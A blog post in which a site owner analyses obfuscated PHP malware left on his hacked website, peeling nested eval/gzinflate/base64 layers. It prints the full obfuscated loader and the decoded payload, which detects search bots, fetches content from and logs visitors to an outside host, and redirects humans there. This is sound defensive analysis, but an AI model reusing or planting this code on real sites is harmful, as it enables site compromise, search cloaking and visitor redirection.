Web Hack Analysis, Part 2
Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3
Yesterday I described how the BMOW web site had been hacked, and my efforts to clean it up. Today I began looking at some of the hack scripts that were left behind, to try to understand how they work. It’s a fascinating glimpse into the mind of a malware author. The more I dug into it, the more it began to resemble peeling the layers of an onion, or opening a set of Russian nesting dolls.
The hack scripts are written in heavily obfuscated PHP. Some new PHP code was added to the beginning of the existing index.php file, and three new PHP files were also placed on the site. For this analysis, I examined one of the new files, named your.php. Here’s the file in its entirety:
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x
65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVXHCuxGEPwXX2yjwyoHfFKWVjkH3kU5x1X+e
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
NR/QJjf/vzrbw=='\x29\x29\x29\x3B");
?>
OK, it’s calling eval() on some long string. The first few dozen characters of that string are written using ASCII escape sequences, as well as the last four characters. For example, /x65 means the ASCII character with value 65 (hex), which is a lower case e. Presumably this is done in order to further obfuscate the code’s true nature. If we substitute the ASCII characters for each escape sequence, then the script will look like this:
<?php
eval("eval(gzinflate(base64_decode('...big long encoded string...')));");
?>
We want to look at the real program, the piece of text that’s been base64 encoded and gzipped here. So I stripped off the leading eval() calls, since we only want to look at the program’s code, not run it, and changed it to an echo() call instead. Then I ran the modified program in a local PHP interpreter. It revealed that the real program is this:
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'xVW3DuwGDvwXN/ZhC+UEw4VyzmEl4TWSVjnn8PVe+
xm4K653MRhwZggQZMH8SLrffvlx4diPi8C/DH3B/rhg8svEV6O/TH3Bf4H/9P7KEOjPnr9z8D8a8lNDvjn
k62PCt/4nh//l/U8Nk7+692G4N6E8OuW5ent4LT7pHA/pXur7bLurH8WfzbRmaDVw6CBlknfENnojc4k+e
zTCbGqvO6EYt8zKd0bVl2nbgxz/8MydabhrZC6tqCWDtZxR+1zCj5VXOtVYCu0NCUzL+e9JSQIht8fZdca
5dtghkeUuKfk/fv1OSP0XCPPLf37P/71VGbElcdsWcXwY9gkZMULXonKo+uDbrqJ5Q+ZdSFl3sZgghd5TY
Z1ovz5lmeudVrIcqhUIgVFUUbxAHyglYvtYJU92hYnTL16j4PU4jwkdrQPegeylItQRStvrtjqAQMEDgLi
LPKiifAgQOELo9SrY4b1Ze04BeoOcvUsbDbKAZhQzLYE+eUzLnpFtMpR8pz06xfloWaGEyYdefAhs3VDUh
LlyF+UFLRNMSY/PBCZDJI6ghWUyRNgrmUroxhAcBjuucG/rVZnwEey0LUJBwFDbm3K1GSJHBCYLLQ15QIF
Dt9ZQ0YSEcDR0ZKgo+rKMku6jidXAKuZvQTTiVUiKnGPtmD4OQL1rXRrJDHxzRYdH2Lsm+4KqhiytMwrZx
z2LxMY+CaGEKAs+mJhC0WvXBYJDYbli2COKFQVk1mgmGzkffQWm49ma2dOY7SYDidA45GLVTQbiqtw7ZCe
0orG0IOgxuV6L9Yiqj1C57HYuwqfk8dZ0FqRGjCHU10ywYS4nh7165ffTDDA2uDNFAeV7ihm7V2XxPo+Hk
YhmrUE0C43Ewtd9qjCz0+do4VETHUAPzx6u1zHFIcIdkD2xcEydYjajMvVXv8yOVjB4GoTDIe0BFXrZbgm
fCm9EGZnZxIU7884EEe18ZHtykX1xvfEayqaYw+aNUYymAMkxpwKGRyzpa/0Mby9JLsvNk8eKknYnkmkxT
8Gb2nwUIaS82S8RR/tpt3VB8qDPJwIlhvdqlTshR7aTu5bSHfDdPmPp3kJBrRi9bmYcxUbeH3mo6fJspU0
REcAI6cpwFdmksYKl202zTeg60Zv5KCrBEQhb1Q3ehoLKOKvlTzKEL4ueYnGVwXhfi2jyHi7MOKSuuWeTm
hIq8p4OBiM6Ojgnw7XnwgaxNSVIoGN/heIiMGRtTz/vHTXhT3zE3eEN+2MaxnCJXS6wxKp3nBQrO5wC2O0
glaHsuBreAWPrhFVhnIPnwovYU8cS80j2JHWclGmTlY9NVbkRkvp9NpLMpL0NPHm4yBE6pkcMb+97ZDvLj
vWS11SwT6dohDgGnOj3RPHv5zSDxBl4jR5zlAo1VxbnBxDypUtc7dUuNTwZmRBGeWpWMyRWw4G7msG5HyT
w3+Q7BrTSF44UvLqcRhYXfaxKDYa+Xi9v9WDUf90yQS8fVZBhPmnPvjyziuFCKButGSulbFzYRnNLEdU+H
e6OVb7kKYL2x7KmDnmp2GuhC8rBg0G44ecZOry1eY4dZqQUUpNKA7i6RcMXl2zAm+haHbDTCU7AloNQh65
1rXCY2Bz0RlC69z3MjbGKGaquHX12Bo2H6LPSBK2i/CpvazGArxtPqEVxBQ9AnVxbx8Plnc7yav3qHqIzH
RRBHeypQyNGybPZel8zAxfDBfR7cFecvW3jxidzcnWdm6sjj5bdroXVzAInswdBfNysHt9WZzJihaE2yNS
9mhHqdoIDk1jJDcPvHv67WS9oROTc7XRcsQa7khPjudHX3wjLZ83VNApaLuGmajgo7GPVCx8qSTI+xcQON
o24RXftqauhlR24WvicsmLiA4FS6C2qxeUf12cs00E6pHdDRk32crfNYDph2V9FWcL2NBSzU52D60PNkU4
NmDOhPJ4blBd6XE260QABwCsvpOP84/++uj8B'\x29\x29\x29\x3B");
Haha! If one layer of eval(gzinflate(base64_decode(…))) is good for obfuscation, than two layers must be better right? Apparently the malware author thought so. Let’s apply the same technique again to reveal the hidden code:
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'SyvNSy7JzM9TSMkvTk6pMDE1MTbUUCkuKdJUqObiB
AKVRAVbBaWYCjMjIDaMqTA3BtKmMRXGZkBsElNhmgbkm0DEzEBycL6SNcSAJKgB5kDNiUDaEohTgRhogFk
y1FBkDUWpJaVFeQoqSRoqiRCnaIIlagE='\x29\x29\x29\x3B");
eval("\x65\x76\x61\x6C\x28
\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63
\x6F\x64\x65\x28'NZPHDttYDEXXma8YBFlk4IXKU0WQhYqt3quFbCSrPBVb1WpfPw4mszggeMlLgCD4L
f37599ff+0U/gH7tdPgE8lfO6A+EL92svwvp4oPv2u/c+K39vXHt+yPl/740v/1Dx8v9fgz70/vX1++fCn
WtPue9/Mj3wmSANj3r0OYZBk74zeZAITNctI1aXmavlJRdLcfJXadArU10kSXGLFqhSrJ+1rp29HzUBVOB
7aRFLXganY5+apg1y53620lDfSyP+hO2vVuAQG1VVB9tW9SLq18o328fLbXE/J2XSiL4GO1FXoNM3nh9Ax
PNgAmYpCL0hZEyFGNZsFafeDCQZAvv/KyiMHo8c0WDfl6Y5Wi8mf9hncbic93uoucYGjQw7Fg19P2vBZ94
4xuMF7D42IhBCvYZJJ0BsYq8jIeoUJ2AZqPqCwNqQjc07XNvIfsMOB1DheTvIRXPYogP11zODmLZMY9ivX
JxQkqfXzgE6kORr3i3NnXMscFQ2De8nuh+eyzjn25nSq99/gWpZBQmKIGywvzBH7jsi04cXNaP6suph5Ol
MqYrE4O4n0T6czDmM5JR7Xu/ITGfROM9BtNhOM+mrqRLfB6bVXnvHuV9XTcuPFdh6jGI3qCaS2lOycFG4l
U3tzeGC+DmN+ngjfqXjW59BLJ/avqbF56YC8ULmq2t+HIggtTIoh9HuRYIAGeb0y9tU437HejuxG64mpuQ
MFHT1ddY0HBETiKDw1RIQayiHbu/USmcCAmP40LfoTlqBRJQ3WdIniAgwkHtJG3/NXAhNSJIOA5fCAktLQ
O1xw4yBdJK7D73Chij6kXFKBRsPUpI16rrMb5Zhc26miG4aWnx5NvHljyqO9pa9YTzl20YAYvDRc6Lzx5n
GkOH1FAZUs1ZfVNILubdWu4O2dZvZlvTnuzONNnxGleFC7sMlDHZJu2b/5yR3hNJu6KXyVBQM7Ph5DR6eF
+7ubRPGeYITHKopJptIJdQ9heNX8MywjHIBbmQ/zeXrIY4obvZ2tWyoClPQZMgELK0mbpYo1DB0pAWp9EW
zwOVaRnELAoe49XLSIGqz/FerlaSL+kri2pNcFXYebOhq1Ghnv6SLNDSd3VUW8WZ/LgUFvb0xleA3rS4zP
hKVnmisxTsT24U+yI7ArdKFI2EakwmgwchBDX1coPq5gHcorCjLSgG4Ldl6Sohereb34mvrsbR8xK5+rAf
9R6VnFy2zznl6kQEDCnq3gFbO9bV2hyGNUGrcn6jYxsR0lM7DF5rv7KnlkSPXnpCe0To0HyuuXeNohZB9i
iRMqRnLE1AwhLFLh9UhekiGV2xy6a9rJSFT/4ReLsovSERlPTiMxlz7lOR434R5ziXNZ48wjtmULOVS56F
4zx5SGqTttDozcReKsqjxl8vkCtxrCLOf68cz33U6OhzUQKq8YCFniN8bSxjo1lu7D0aZJeNNUlzEUW8TV
jG3wuQbos5j5xaw5EDoUMW3CEcjxjjJ4grXtKL60FuohmFd9aacEb5Gl2ONZk4uLzihnkIR2hrEe9PZ7d1
0HXTrKPDedSUBPOR3l3mSXBKauguQOVpw2IUsGIH5ubXGcwKqVxd9qYM9n5Rp4E6eN9TXTDi8SYn1//+ef
Hvw=='\x29\x29\x29\x3B");
Clearly, applying the same obfuscation technique three times is even better, right? At least this time there are two separate eval() blocks. Let’s unstack the Russian dollars once more:
function doscdx45431($str) {
$a = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
$b = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";
return $b($a($str));
}
$a = "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65";
$b = "\x67\x7a\x64\x65\x66\x6c\x61\x74\x65";
eval(doscdx45431("pVZbb9s2FH434P9AGEZkB77E6WWYPcf1ErUJkMaZLG8DgkCgZdoiIokqSS0Jhry1
w566t2Jb+zBge9vldRiwv5M0+xc7lGxLlt3U6wghJnku5HfOdw7T2fmkEzhBPieItCT1iOVSj8rSVrmVz9
U3N/M5tIke4VA6jKOhiJc2Cy45nTgSbW817qu9ej5nu1gIJBziuhYP/XzuaxDACMKhS21UxLakzEeojQqR
UqEVy+O/49CP5ZZlM19IHtqyVI5lU0dq0HGpaD3RzRPNdoh9pp2idhtN5+VELWWhBrEdhrQtGNXo01oZ+Q
UgLqc2r5JpMiv2AzoiHAAUpUNFdYeKT9miXTHkrgLoSBk06/VCrWj1deNz3TjR9k3z2Nrv9U3tNLVr6J8N
9L5pDYwD7bS18lQaqJilTZ72TN3q7u0ZCyYqNLMbthEEkJQzYSgOmQRXjTRQ4gqyWm3rvfGYAGUw5/gSsk
F8Sbh1ToaCSqLSgrR7tWHonglPBGc1n0htJbxkVq93+8f//Pzy5qe/U2dw8iwkQlpxYMlF4LIRKRU6hco7
gljOhCQCA6BVMDI4p5eWxAum/rVp4rTaXeBqhfqIeZj6llICS3AhZA3KqBOTvM1CaQWh3BA2p4G0fOyRNp
AhBeZkC9xsjIDo1J+030WUwoa8DEgbi2BjxCw6yjppnLaymBjc1ZciYakNir2A+KUs3nK2ClSVzB28jyT/
I3gPGi6OojUHRwOFjAYAOOoNdwQkFOANT8DrstIAVlb3iX5kakuB+Y/BKH4YITgZUU5smcCb7ayR6/VS7B
AMNV4qHDIbK7I1EVhkEKTqVfW21h1VdpXuwnHDV2MTTbvbfH397S83r36/ffP97evXVQhG3Gvm4kecyJD7
s3U909YXvKW4pOozDitEO/otaRPGJi4BgVbRsMPJWMRzT/jxhGJxJqLjtQrShpiOwmQpnp0z7qmZB6HHAe
bSJ1xUY69q/xI7jIGbr4aCqN8hpCV2LJgTVgXB3Ha0hb5OhRV3xTGGWkhJxowTbDulFA4sIlRL3TciLbgA
HkjmsnNI4h38zRISehkYwleKHVWiM7KHLF5WPQIZN1crSRLnbmbZWmBGmhPz173ZnFdSwpDbl39ef/fq5s
1vb3/94e2Pz6+/eXH9x1+KKnOaJ2yBtGAPefSCjKJaW5dHSQEryi/TyXa2AbjSsqhPs6/zvHeoR3qX+cDJ
QkohMoN/hFggS8pTBe0OjMPesXpaDisorjK0jr5CvK9393SjMmP1l9XHPeOLrrGn76lZ8+HD2vb9j2sf3a
ttNxrAvd3DA0h89eA4IymX17rh7LSIoGve0tDNgXFkGt2j/mNl21jbDtTBINUdV7W09S6uSB9xvpLKz5oX
MQ+e6r2BWdl+sGCQfgUjY3JB7Mh06Uq2ywRZEs3qIfMYQkXAN9sF5z45T2oi4lpn518="));
Now we’re starting to get somewhere, maybe. There’s a function definition, for some function named doscdx45431(). Maybe the “dos” is for denial of service? Let’s substitute the characters for the ASCII escape sequences again:
function doscdx45431($str) {
$a = "base64_decode";
$b = "gzinflate";
return $b($a($str));
}
$a = "base64_decode";
$b = "gzinflate";
eval(doscdx45431("pVZbb9s2FH434P9AGEZkB77E6WWYPcf1ErUJkMaZLG8DgkCgZdoiIokqSS0Jhry1
w566t2Jb+zBge9vldRiwv5M0+xc7lGxLlt3U6wghJnku5HfOdw7T2fmkEzhBPieItCT1iOVSj8rSVrmVz9
U3N/M5tIke4VA6jKOhiJc2Cy45nTgSbW817qu9ej5nu1gIJBziuhYP/XzuaxDACMKhS21UxLakzEeojQqR
UqEVy+O/49CP5ZZlM19IHtqyVI5lU0dq0HGpaD3RzRPNdoh9pp2idhtN5+VELWWhBrEdhrQtGNXo01oZ+Q
UgLqc2r5JpMiv2AzoiHAAUpUNFdYeKT9miXTHkrgLoSBk06/VCrWj1deNz3TjR9k3z2Nrv9U3tNLVr6J8N
9L5pDYwD7bS18lQaqJilTZ72TN3q7u0ZCyYqNLMbthEEkJQzYSgOmQRXjTRQ4gqyWm3rvfGYAGUw5/gSsk
F8Sbh1ToaCSqLSgrR7tWHonglPBGc1n0htJbxkVq93+8f//Pzy5qe/U2dw8iwkQlpxYMlF4LIRKRU6hco7
gljOhCQCA6BVMDI4p5eWxAum/rVp4rTaXeBqhfqIeZj6llICS3AhZA3KqBOTvM1CaQWh3BA2p4G0fOyRNp
AhBeZkC9xsjIDo1J+030WUwoa8DEgbi2BjxCw6yjppnLaymBjc1ZciYakNir2A+KUs3nK2ClSVzB28jyT/
I3gPGi6OojUHRwOFjAYAOOoNdwQkFOANT8DrstIAVlb3iX5kakuB+Y/BKH4YITgZUU5smcCb7ayR6/VS7B
AMNV4qHDIbK7I1EVhkEKTqVfW21h1VdpXuwnHDV2MTTbvbfH397S83r36/ffP97evXVQhG3Gvm4kecyJD7
s3U909YXvKW4pOozDitEO/otaRPGJi4BgVbRsMPJWMRzT/jxhGJxJqLjtQrShpiOwmQpnp0z7qmZB6HHAe
bSJ1xUY69q/xI7jIGbr4aCqN8hpCV2LJgTVgXB3Ha0hb5OhRV3xTGGWkhJxowTbDulFA4sIlRL3TciLbgA
HkjmsnNI4h38zRISehkYwleKHVWiM7KHLF5WPQIZN1crSRLnbmbZWmBGmhPz173ZnFdSwpDbl39ef/fq5s
1vb3/94e2Pz6+/eXH9x1+KKnOaJ2yBtGAPefSCjKJaW5dHSQEryi/TyXa2AbjSsqhPs6/zvHeoR3qX+cDJ
QkohMoN/hFggS8pTBe0OjMPesXpaDisorjK0jr5CvK9393SjMmP1l9XHPeOLrrGn76lZ8+HD2vb9j2sf3a
ttNxrAvd3DA0h89eA4IymX17rh7LSIoGve0tDNgXFkGt2j/mNl21jbDtTBINUdV7W09S6uSB9xvpLKz5oX
MQ+e6r2BWdl+sGCQfgUjY3JB7Mh06Uq2ywRZEs3qIfMYQkXAN9sF5z45T2oi4lpn518="));
Sigh… this is just a different way of performing another eval(gzinflate(base64_decode(…))), only this time a helper function is used, and the names of the functions are stored in strings. If we repeat the process one more time, to see what’s hidden in that encoded block of text, we finally hit paydirt:
?><?php set_time_limit(0); /** * @author bs * @copyright 2014 */ class shell_run { public $action = "shell"; function __construct() { if($_GET['check'] == 'check') { echo '0000-00-00'; exit(); } $Spider = $this->isBot(); $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ip = $_SERVER['REMOTE_ADDR']; if($Spider == true){ $bot = 1; }else{ $bot = 0; } $get_array['center_website'] = '3.bulksmspk.net'; //ASP风格 $request_url = explode("?",$_SERVER['REQUEST_URI']); if($bot == 1){ $center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php? action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id=" .$request_url[1]; $contents = $this->curlOpen($center_temp_url); echo $contents; }else{ $center_temp_url = 'http://'.$get_array['center_website']."/51la.php? type=asp&ip=".$ip."&shell=".$_SERVER['HTTP_HOST']."&user_agent=".$_SERVER['HTTP_USER_AGENT']; $this->curlOpen($center_temp_url); $url = 'http://'.$get_array['center_website']."/domain_redirect.php? type=redirect&dstring=".$_SERVER['HTTP_HOST']."&do_id=".$request_url[1]; header("Location: ".$url); } exit; //ASP风格 } /** * isBot() * 判断蜘蛛-getSpider * @return */ function isBot() { $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search'); $is_bot = false; foreach($bot_array as $bot){ $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if(strstr($agent,$bot)){ $is_bot = true; } } return $is_bot; } /** * shell_run::curlOpen() * 获取本站的内容-getHTTP_HOST * @param mixed $url * @return */ function curlOpen($url) { $ch2 = curl_init(); $user_agent = "ConBot"; curl_setopt($ch2, CURLOPT_URL, $url); curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211', 'CLIENT-IP:66.249.73.211')); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent); curl_setopt($ch2, CURLOPT_TIMEOUT,25); $contents = curl_exec($ch2); curl_close($ch2); return $contents; } } $content = new shell_run(); ?>
I find it funny that this malware code includes a copyright notice. The script begins by calling set_time_limit(0), an attempt to disable any maximum limit on the execution time of the script. It then defines a class called shell_run. Finally, it constructs a new object of the shell_run class, and assigns it to the variable $content. As far as I can tell, $content is never used, but that probably doesn’t matter.
The real work happens in the constructor for shell_run. It attempts to determine whether whoever requested your.php (remember that’s what we’re looking at) is a web crawling bot used for building search indexes, like the Googlebot. Next it splits the request URI at the ‘?’ character, separating the name of the requested file (your.php in this case) from any other request parameters. If the requestor is a bot, the script then fetches:
http://3.bulksmspk.net/domain_get_url_test.php?
action=out_put&script_name=your.php&dstring=[HTTP_HOST]&type=asp&do_id=[PARAMS]
where HTTP_HOST is the name of the web server, and PARAMS are any parameters that were passed by the original requestor. The result of this fetch is then echoed. Does the echoed text get PHP eval’d by one of the enclosing eval() calls, or does it simply get returned to the requestor as the HTML result? I’ve lost track.
If the requestor is not a bot, then the script fetches:
http://3.bulksmspk.net/51la.php?type=asp&ip=[IP]&shell=[HTTP_HOST]&user_agent=[HTTP_USER_AGENT]
where IP is the web server’s IP address, HTTP_HOST is its name, and HTTP_USER_AGENT is the requestor’s user agent string – something like Safari, Chrome, or Firefox. Interestingly, the script doesn’t do anything with the result of the fetch, so the purpose of this call is probably just to log something on the 3.bulksmspk.net server. The script then constructs a new URL:
http://3.bulksmspk.net/domain_redirect.php?type=redirect&dstring=[HTTP_HOST]&do_id=[PARAMS];
and then calls the PHP header() function, which generates an HTML response for the requestor instructing it to redirect to this new URL.
Huh?
So at the end of the day, what does all of this stuff do, exactly? I honestly don’t know. The file your.php isn’t likely to be linked by the site’s normal content, so it’s not clear how a web crawling robot would ever encounter it. Nor would a casual visitor to the site ever end up requesting your.php either. The only person likely to ever request this file is the hacker himself. It will log some information about the infected web server to 3.bulksmspk.net, and then redirect the requestor to another page on that site. As far as I can tell, it doesn’t actually do anything bad to the requestor or to the infected web server. Despite the name “shell_run”, it certainly doesn’t look like it’s running anything in a command shell. Maybe logging some information is all that your.php is designed to do, and I’ll have to dig into the other PHP scripts to learn what else this hack involves.
Read 2 comments and join the conversation2 Comments so far
Leave a reply. For customer support issues, please use the Customer Support link instead of writing comments.
Hi,
When I read the first part of this post, I was curious whether you would dig into the obfuscated php code or not. I’m glad you did, nice analysis!
The other two hack files – book.php and clsssica.php – are identical copies of your.php. So nothing new to learn there, unfortunately.